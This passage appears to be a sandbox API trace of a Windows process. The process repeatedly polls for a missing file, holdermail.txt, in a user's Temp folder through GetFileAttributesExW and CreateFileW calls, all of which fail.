	[0089.064] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0089.064] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0089.064] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0089.064] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.064] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0089.064] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0089.064] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0089.064] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.064] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.064] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0089.065] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0089.065] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0089.065] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0089.065] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0089.065] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.065] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0089.065] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0089.065] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0089.065] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.065] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.065] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0089.066] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0089.066] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0089.066] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0089.066] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0089.066] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.066] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0089.067] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0089.067] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0089.067] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.067] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.067] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0089.067] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0089.067] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0089.068] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0089.068] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0089.068] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.068] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0089.068] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0089.068] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0089.068] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.068] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.068] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0089.069] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0089.069] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0089.069] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0089.069] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0089.069] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.069] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0089.069] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0089.069] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0089.069] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.069] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.069] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0089.070] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0089.070] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0089.070] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0089.070] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0089.070] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.070] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0089.071] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0089.071] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0089.071] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.071] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.071] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0089.071] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0089.072] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0089.072] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0089.072] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0089.072] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.072] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0089.072] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0089.072] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0089.072] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.072] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.072] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0089.073] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0089.073] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0089.073] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0089.073] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0089.073] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.073] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0089.073] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0089.073] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0089.073] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.073] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.074] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0089.074] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0089.074] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0089.074] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0089.074] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0089.075] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.075] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0089.075] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0089.075] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0089.075] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.075] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.075] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0089.076] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0089.076] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0089.076] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0089.076] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0089.076] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.076] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0089.076] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0089.076] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0089.076] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.076] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.076] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0089.077] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0089.077] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0089.077] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0089.077] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0089.077] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.077] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0089.077] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0089.077] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0089.077] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.077] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.077] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0089.078] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0089.078] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0089.078] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0089.078] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0089.078] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.078] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
